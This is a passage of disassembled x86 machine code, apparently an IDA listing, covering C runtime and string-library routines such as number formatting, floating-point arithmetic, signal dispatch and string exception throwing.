		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC054
		mov	eax, offset dword_4DC054
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC050
		mov	eax, offset dword_4DC050
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC058
		mov	eax, offset dword_4DC058
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DC04C
		mov	eax, offset dword_4DC04C


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBEEC
		and	dword_4DBEEC, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D51C
		mov	dword_43D51C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D510
		mov	ecx, dword_43D514
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D4A0h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D51C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBEEC, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D51C, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D518
		cmp	dword_43D49C, edx
		push	esi
		mov	eax, offset dword_43D498
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D498h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D498h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD1A0
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD0A0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBE2C, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBE2C, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D878
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D9D8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		jmp	near ptr 2880000h
sub_426356	endp

; ---------------------------------------------------------------------------
		db 39h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBED4, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
